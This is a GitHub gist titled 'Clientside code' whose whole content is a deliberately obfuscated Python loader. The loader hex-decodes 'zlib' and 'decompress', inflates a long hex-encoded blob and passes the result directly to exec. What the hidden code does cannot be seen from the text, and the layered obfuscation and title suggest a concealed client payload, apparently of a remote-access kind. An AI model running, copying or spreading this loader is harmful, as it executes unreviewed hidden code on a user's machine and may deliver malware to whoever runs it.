Skip to content

Instantly share code, notes, and snippets.

@yoursamlan
Last active April 29, 2025 17:32
Show Gist options
  • Save yoursamlan/4a3737021c232a9e7f72ae148ce04929 to your computer and use it in GitHub Desktop.
Save yoursamlan/4a3737021c232a9e7f72ae148ce04929 to your computer and use it in GitHub Desktop.
Clientside code
pyobfuscate=(lambda getattr:[((lambda IIlII,IlIIl:setattr(__builtins__,IIlII,IlIIl))(IIlII,IlIIl)) for IIlII,IlIIl in getattr.items()]);Il=chr(114)+chr(101);lI=r'[^a-zA-Z0-9]';lIl=chr(115)+chr(117)+chr(98);lllllllllllllll, llllllllllllllI, lllllllllllllIl,lllllllllIIllIIlI = __import__, getattr, bytes,exec
__import__("sys").setrecursionlimit(100000000);lllllllllIIllIIlI(llllllllllllllI(lllllllllllllll(lllllllllllllIl.fromhex('7a6c6962').decode()), lllllllllllllIl.fromhex('6465636f6d7072657373').decode())(lllllllllllllIl.fromhex('789ced5ceb6edbca117e15f757c84435dcbf0efc0ae7050c83706c2535a044078e0fdaa2e8bb579225def69b6f2ebb94259bc2412b7377eedfccce90549ae66675fff3dbe3fd4573fdf29f3f97d5e7a6feda5c3537bf5f9ebf36bbcfcde3d3c3cbe65abbf1eabab9ba6c9a87f5e3b2692e1fd6cdfdf38f87f55fbf369b6efe58ff5a6ee8ae6e9aab57f29ba6a96e370cab7ab1f9ef9563b5b97a55bdb2bbde6cde5def2e6d246c2e6ca56c1706d7b7d7eabb7acbfae6f6eeabc47efcb969655dbeae5f265b9ade82b861bb566f3e8b96e3d3cbf27981c5ecf5b86c7656ec97feb9fcf762ccb223fbfeb4dab874819737114948c77bfefbbf45f7d7d65f3f962ff72f2fcfb245555dd5b79a43f0e2d615b77b1b9bbb2f47618299f59918786cbe2ca262c3fa3a751cd21da0d47cfe7cf8d67c69bfd53ebf6d43bee179ddd287ed3f56d42d4cee16fb42d274e9707b37ce184f25a8b21d5f49be6ad9369fabdef79e0c45703dd8ab6c465737be0bea3e89a79a30c63c7a361c528314ad87d0091f214363baa4ebbc54c0b97555e3b3a13bddb73b7fddff1c9e2f07abbeafd6f72f90c3cdf84cbed91cb9570bb8c3ec9c5da731deb53b59eb4d037225d8d26afb63b5fe76bffabd406b7faeffb5808adb54539632abdf209430969e8a62156fca4ebd14b6623b0e4a09e92bd052d7d56b445e833cc4e7c3eafef7efa4016a3fc3cd3fd25649dcfbf8f4dcdf7c00cbfaf9117018b571c0b40d11c4e881f261fdf3cf55d7e9f933647cd9de3ad8b7daea4adb7047f5cec3bbb7bc975700f2dc536ffda3d5badb3b2165ab2a746e3b9a84de55edb417ec73e7b7aba9dcb9c6d137f42269fc3685d57effa8524a42c1d5451a603100f02409587f3decbe1932a992c1f430e6a7a2b6434dc7298f5199dee12314bfb4554b0fcfeac8134e01cc236be7a2d01cb32808c332a23a138b0ff28ab6ed2656796564cfe0efadfee3f9aacdf5d7cefe6d6a54c4c3032df6c47e971e2508a673b4472b155d74b1444be9a9554212626e4eed23e704ad0aeddfdda702d562d33568a28b9c835467e9cc74df16b41bddd12dd2b33fc572550fbaaeb2b7411183d8611f3cedb583aa7748478ef666f7e4a9f7e995e06a7fa9af7455b74cfa416da10a4c14a37c0560b1f1c2d377e9d0185ddf76e05777838e7b7b2f6db9fabd1c68b353e02a8bef883bc4605d7f5f3fefcc7afab5bbc5213dc3d3e40f25de5e77a764f6dcdafed109e86025646983ee03b74f43862455771bb74dd7abbd635eefd06d7d9358fb9af4757d78b492cc4a7b8e09c62aac7305b14548361715b4a3b1bfab5509cf9dcf9249e6ed0799c3b751da23c5a05e2dbda36da6750748eeb8a9323a73c0030873b26827e0e89eab217c9d999e9336cd33735c54bc840e87c1a197deea465a898d0ab7ddd744f55e480802273ad3b10778364758d7258cec6f4865de8dcaa62f753fecfa60e3fe7f77fff3657471fc5136edff54b8084c2e4fe41ada6330ef5235fd52f30c6601a5ca4a0e98c14da21ecc0491dd25b8ce1c956a2eec16b4a1bb6d5eb153231da0010856099d55704670d368c841c591cbd45074b01ffa8e74205c90f4ccec91d624b6a271ef366f866416e7a73984e089d3ca9c08b6a0d98c622eb39bad10c9de32396b2cc0085adba5a1ead6029310823de100b8f35c2a1826fcc8356220e1c3c13aae7acca3738e00523d9add4561934d848697ba7bf9f25c071773bd79ab6bef7e64e18b5009905828d79883ceaae5423a445d2ed209818d8e111dd7825011516d99419cc9a0d78d2c3f309346d610e3445f1183f5d2c0191bdc4fb37d7f61227fcf230809e8dc5e751be71124a49620f778b08eab1ef3e89c23901408a4703fd620d2fb64bfa59cbc335b9a6101aef3e8245e9b47a7740d140454239883e6d1694c2704761e9d20951f6ff3e834643f8f4e24a4f3e83454fd244627aed43c48bd05c8e3aac73c3a670c24c50245170bfa1944c949d4dfd04e2925879d12bc0af038d749ab918337cf5a8ebc53ce192a2a5a008c7bb08f83c9ac171dca0199ca58beff815001a1e7e530062462b13f265e1b1b52a2b2a06dd993f56e22b055d0047bd1d24a38599a7517b7eb11c348c69ce065910b76401c3f14d776c44101dcb6332a4c43b210ee2118717e9cebd0a21359335a70d658c03b99336c9805480945005b8270384fe6f364ce2e0d381f35634481b29325022b7434e48c9e209ef1382bf86a9e661d589d9f1c9a3339428d74989f1cf6d74ef7c9e1fc14102a9d51565279d841007a67db86e944b2b73e72e744d71d985315c1462008ce63c63c66b04b03ce6f3c66489204c50c32e4ece96fe8a68b331b2c4e656a40d7dec324414545f3c2b8677e2e16a828116aa4c3fc5cacbd184dd3e2f02f9dc08a7ac0bf998fc62ce7b6932530617eda66ec8fb871efb6dc0dc92cce4f93088111ec13b22fa51637bed984a01359335a70d658c03b69ea6d9805480945005b8270388fc1f318cc2e0d389f60c630f136091a5c921fe99dd92c0c78d80eb30603629e8fa992baa868c218f7ccf3f1911a46a4c3fb9c8fe19292b74a1a5b0e29d5571969848357fc203b7b400f38f9b14d20da514552c67abaa892b086aadec8876a5452aec9158d875808dc444c2dd3a2e2237407073b9aa6a8ffb80f7a23df8934f072357469c272572288b422c85a0d27e1565e72ad3b3b981e425fc42263380e884d2e73255ef0ba02451953b15c0ac7d5c42150b39584820225a713edd471d85b87454506abe9196ad79a42d2a280d1044bfba6f3c2a12288d151ac8151778e39a3b1af55ed23274fa01dd09b2a6997565d0c1acb6acb4e3b46bba545c7a670a8cf1417228f99d87593263ddea14260116e49574740e59300b29961e1d5440283adae23b972b29f74cbcf90e6abb5974a9be2e8e3dbbf62ab4210e3c7616a1a319672c2dc7a5f425c39e9d45397a69d22cf60452a5a8fa8a1834902012343454979e289948465910d8f849c1aa628e8e8b5b43448454bccbcebd4243f48803cf3f1a147c5a7252f3112a11c7d833bba6b14bfb1a3df71bb5f89aa2d7df2353efc1de80b1df380815b864c3deb0d38cbea9494ce51cb794300332ca4c663c92e70f659852a9fb400ae035b046a1e7261d53c930cad32b79c5c3515a5342e68cd5037405172805783a50a25859a7228913513d6aafe16fd942b390779b624a0538b95c054a5333842d92315abcc21c980f01844e5d2942c1031695990fc20f08d7587c65715736a83619b0008ee2eb6a4c147223720d3843612bbf0d8902224891e312b1ac0dc69d8732f22e51d4f09ce0899e11f79a4d0534d8c4dbfc886e7ba6cac395123d10c55256fda2b6162e248cbc782e58514a6d101187615a58f0d28f144d2ab8c6b39515743305e4fb5b216044f3f65b3934640af42891dbe1e2ada05885a5347b21cf177a368478caab7160a8516268131248b217afc11822d50aa770aed050c67a8d578a6fd70d59ec084190a4bf683123d030c08f59de732852e8ffbdab4274d299c9ad857b631417399a75d629804b082cd653084ce2a628182a3f7955e6236c8146c5614944340f28c51a9ce978d1f6ec15ef377002a1618dfd8196bc8d8c8d3d4085b891b49b0d8c986d7b8ca50391e0eca8f868b59a67a562666a900a888050c4dfab126a7bfbff93fe77bed444b25ca34c6c99a9628ae10f7298d95c889482d7398e0941278923857952d8b9749d5c18a82e4f067d6d1ac25738e3f34f5d5bc669ab9d552338764425e2b207198df803669ef01b841274029abc095038a453b2681a1c91cb1cf8ab4c5401113c4912a19b9a1db801c06108698788198eee7a58b3b18720b78dc1616d58b545df79106a9a067711074d6115043a47860276183e4acbf8ef7be65545dc36a2240d2165ed701259b2731f583410e2075aeeb6090cd3777c61c07af97bca5c5235f26f1a48b64192c5be64e8462fd78ef287a6f3c47ba480e64159616e76bca396f0329c1b12e58f0efdf212a174609d0423bc3b3b03f6216abe612a12e8f2df7766107bbfa351a117131f84b34d9930eddc8d5a8d7f4dc14c95c245a2e294823f2ec3f3a5365d800e87d079e08865e51e2a91412dd4c6aa3f516b70a3a554d0317021ace9eb880586f4824c5b77114f7348001709fc3823ea75f5820437f40b54c96e5cb66275a4498884626574cfe770429139c2c1d65295c3fba6ad1d9504242f131fade7126e9a5c3330851f962a004bcca8e5642a02e5b8f66be46812762ce5811a58b763be757c5c211917d20197ade25bda168d16096aec210f1d6dc9992bd4b275a8c6c4036671321e2f111a3214bf7742d930be78e2f78120e74f6000067abb9b011fc30034d420d22222d90600fe387341ead463b7a9d3760af11c8b6f82a87ef853af95f8eb116181a038899426550b068c81089e7a0403b4cd83cad2357cb0d7587bb1ca4ec31b45cbef59de142a6e0a8c71f6b5bf6c8b543c265c8d38628c1e544a00a31a2c7243f0ce0ec47067a27815872a86c257d545b34cec4f5ee0370d2c8c40bd191f61822242c5aaa8210e0d84b5ad4714968f16e622c830e60c6aa90aa2d91a822f8cd4609b44cb5e5c81243ecafde8ce57807e4a041cb737669a412704868238d45c7d576488d3772fcbe211624c590f8c8fc9983053f195ef13bdfb226acb2d000f808764aac836ae65462391214a2fb4b165e96b464b424b4de2eb477d179da8846989430c88cfe83161a6b0d1e9c776491e7230e29b782ae3a47315dbbc801418d1354017b19ffa8e2ee70283997d3476b954c19631cf9cedce130174bb6efd0b3d3e1280d1dd1a0194a48b2acca93d7df6d2f0be3a3a98e9dc5b3d95b5d6d3665b8d1c05ec604ccc8583a01f37d65c32ca8bf2d3871786e9ffbe45a6ead3039881e507b0ba9c534be475815b3053a598fadb24312975e17adc97785cd92dec54095eb36380f594c45f49064602ef629cbdfcb9df52fcba909a655795d84819c940285a77878ae53a03a9a29493f8c31dfe1027594a94ee95f5ba18a7ad6a3f54aa91f5e9ac31f3675b2aab5aac559b6101d23ef816d326ea4ea9449a5432bd68d5bd48f679c48a959131ea464c6200472597224aa0aa0d871667b932075b0fddf38690589567901ad5282358abde3fd08f3f0b7ab81222cf59a13c238a4c42e0cff5b1081d7dab9d2316724445274356ff62eb94f59e7efdfc642017a7d65d673f74d8201d393c455752b6c2c351062aeaef4226eb44141870aad02911a61dd157881465b735727a6884c298892cde53197d7c6bb6c752f6eb119c41e869e66900b94f35b2937d0256137091afacf465904119330907751fd438592f17de32e2ed9e1b1909b6cd0d0943751c41518ca38a39c8aa12e0bbe9565b2609035ad70688998b36c70502a5fd48a039c3a8e11f637b9a552d2767dc262d6df12ec6a14fd0dacad994659712b83483bdd1a41cde5efad046e02b57f3a1190b83dc2a4b7c137cbb8eb9d5223a97a4c49c2d77e13d2a9c554f9cc738213ebc96219098909cc77c6429455ab1539a6e8893254c693f5802c2f0c78b58d2a9a768ef10adaa5665566ad179c4762ae2c69b39044ce810ea9e48b38764a53a7f6f152b09504a138149380f2f48de69e1fad6a79e16c64026926af52a7047fa40d76787d6f8856b2a8e1d1d93e276e8ed50e15a910fcbe8c909730a85dcd1370b2bfb9d69477a5aa1ee892e9d6fb169e9cb8d7604a6b463642d6f8a78b090a1f2d518a3b05c31596a61db4064809ef8e8bf5955f1c747bf95035c989c270537a68bb2b40b7a1706eaa6cc9a2e242e840436de23c1d07ba62b6e26c4794d00513f2796111b5a7d0d4826d7ea75e92c20520afaabd832f488ad7a6142feea7b9e0510a1b2762554109a5727580bcbc18cc8bfe3b182c4db9528829726fe4d660efef602d5310e33b9a6845d0a495fc3155ff6fbd485aab1bd09e1b0475b69cd5aa2b7cb9afc685ec08bf3704a1cb0b851a1921a47ac7289a27afeafa40421640c04138da4c87a015cb3051f1468f35967508023d6218268e67eab119c2368ca985ca16034008f6640520962e728e1a80c453ade5f3e1f01d573de6d1395920a92050912b53d9f053f0bc9293b3d01e638e584faef68be16cb7a04c740d8a9d437371bb1e2f1c63cc095e16b96007c4d143e4bbdf2cf6d966dc2d3881eeb6f9237ab2ba6275f85ef83851966c86785a042ef0e806dab81aba9ae96b7bbaa1beab179bffbb192e57b7e3ed55bda8b63b53ddabba6a6e56f73fbf3dde5f8f84c9a93e5643de64c822e8237c07eff8d7dcf5bcbf18684e3416506ae68c4a16a11200ec08ff3cf9cfa866231da22ef7bd6e0740e29b321206d3b487193f73c16a6aa134e32d79cb80175ce7bca0a739676c7025cddcfd85e3f84e94871d04a0176fdf9167f474d7cb4128b571d4e7913825d50300959a6f22bd05c8e3aac73c3a670c24450229de8f31608c3f673d70d06df3e0e1006ee6ed22bf09223b948fcc51ef7000810e4d2e420fc682ab63edf5626407478758f2c26d76aa1391a308e43b9cbe16a1e2d7df91d8840b923edf363689ec7d82d4b64ab0fff2e13a589d48f6d6476e3a6d980548091f100634c9156320e1c3813cae7acca373c60052799d53daf86a20190f65e7388d49897a1ad7def7f4052e53cd8d1d3473cd59755b4807cb61c703ef800c295bc46244c563327792d6d002aef3b998928aebee89512e4806fc5c52255b3e1f0ed671d5631e9d730492028114ee476b26f31a49f8aca034cb82fcceb06d96423af7cd8e5cb4b63906f99eb735b007a42a83ae331fbeff065b491a5641bd41f279c11f2a471ab017c62219615b8c9d87528d30281aec9cc2ca02096583aca70e0d41fb373a54cff0e01a6f398de30a5d3be3232c61462d71d801c0ef2f7a1ff47c62051c4931cc50dccf25a122a2daf2fcf94debafb5cc8cfe56b2dfd85e4c5006e4b592754530e9fd25ab1aa4bceaa898d208544249f08e2b5e040d3f02676ca5c2ce9ae6459a7f43eb892e6436eff34d7331c300d7f986604aaa07e070a94808b029b6cc48257c3894c7558f79744e19406a491922dbc6ded382199b481903aab6965c374637bda84213c4973b11d9c3284423a7496c7d69b827af784be96190ffe6e6cbca4be2e5fd3979d7fd5ddfd5bbbb62b9b7c1f61ccbfc867ef429f498aa0c9bb2cfe00add7dbc3d5cdc31efea4355ef2f5c360bbca5aaf1824629d15918de157c7298dcd2fd901e1518de957ee45bc43d23ad8ac6ff04cc3b4ef4c9febe7f277809e1ac9d0c32e2ec6d528150cab69ef34ed55da3081f4fcdbdd853f5cb04f507a7d23938402802c56be539f862eac3888227dbe3659af22d03fc18bfff39d2638c85a20c14c7f4eb132ac3f142145de0c1eb6ba0143f8bd6251a5c4a1bdbef8506bfc1dff940eb96aa56d7cfe85b6fb9bbfaa5bddabfd87eabeb241faacd87d3a0ab3594e9d364741e427323baf5b7d669887b72628a67797ee47bc53a2ce9f04d5d1f96d0eab8e64ed449372a684c56b73ec2e6b9039b2d310f3f317c18f0e396184958520acc192279ad5807602fcc611734e3cadc31553969a194b222e6d72c23edae347e13e1837206717279bae7d369ee7f0c20e0f0b366c4707331c63528811d41f7ad58c312e2a3d7f9ce1e7fcf30a075d44b58d4f3c1985bed42b5383d07b33bcbb19f8a56b0ceb02c38766cd0b7dcf3cb59b50bd6b1b71865cc4723e7e7e49cd97978f123880b9635cb0054306db20b56749a28766f79ac7da74fb18a12715dd67c9b3d539619e7815be5e1a8786339fd601d9c798b56d282b76bf8a099d93347a08bc4806fe6ae5e7154910a9e7924fb0bb8d149d1442af9f07daa101dbef1a159355b73fd280a9e23af4f3acdd4651ebb8cdf8a2795b5e39abca00dc258fe31dcd89e5645f7c9d77ef756eb12d371f4d87575b39c5fb95b9c84bb63aa2fd6b696bde55d605208952156850ade949ea0a6cb3805df48512d735a4599e79ce7933f7429fca8aa9c046ffd74c80b4f2a06770235324037f1bc1b81bbf59b1abfa22f78e6b63f79c5abd00396a9c613bd2175945935b16d636a3075f97ad6a3fa92f1945bd7a90ababd11cabb7bd09358e216d8118f5436156af2421e2df8be40c70838292be2e5f2fef0ad05fc54ddb3ab9774ccfbcea7a1b987afa9e33dd6d3056aa971429be6295fceed8ae33650fac035c13f5385ed3beea479f85668a42c31bea3762ef7d028e31e119327787760ba67d8ea1162bda3444fa0e28f70b885225814cf8deaf2d8ee8eff042e7ec31b5443554abee92bdfde54b4cb3af23a02f4cdd8348d98ee1847de6b2ff85095dd8970013278236cb260668d44a507f0c6556bfcec0b3fbac99f8acbff863917f27977318ad796022f945a2ab6a28beda5ca6c3707fabbc95f6f6703d3342344ab70921d473e13026fb5abdd8f3fc4256f12c67b86fca6cb38af1ca1d734dee3287af8bcfe9e73f3dfd7ade8dbeab034466afb7bd34b84e2d7f50dc831b94c4cc8a844264e224c69c04e6a87d1171626431e2ac15824264814e37c911d1285683320c07b771befbe56fb1fa35e54fb6f170febc7e5f5c5f2df4f2fd5f66b5d57ffa82f9ebe5ffc5abf5c3cdcaf56f7df56cbeac7f2e5fee5e57923e7db5f4fab97a75fbf9b6671f1e961fdf3cfa7d5f2d3e2e28ff5af0de9c5faf9026dbddc6fdc9034cdcff5e35fab65d36ca83e7daa2ffe7673f1e9b0f39389c1affb9f43f2831a17cbd5efe55e956a975207bf0c3fbbb5ede54a4090b4b071e1ad92ff775f38cf2d8b964cdb3c850290e79efaaeaee28eb9eef46abf29caf445ab6a57b7779eed4043cd731beb519720f40e99c2ce1b27f5ff019b9136f1'.replace("\n" , ""))).decode())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment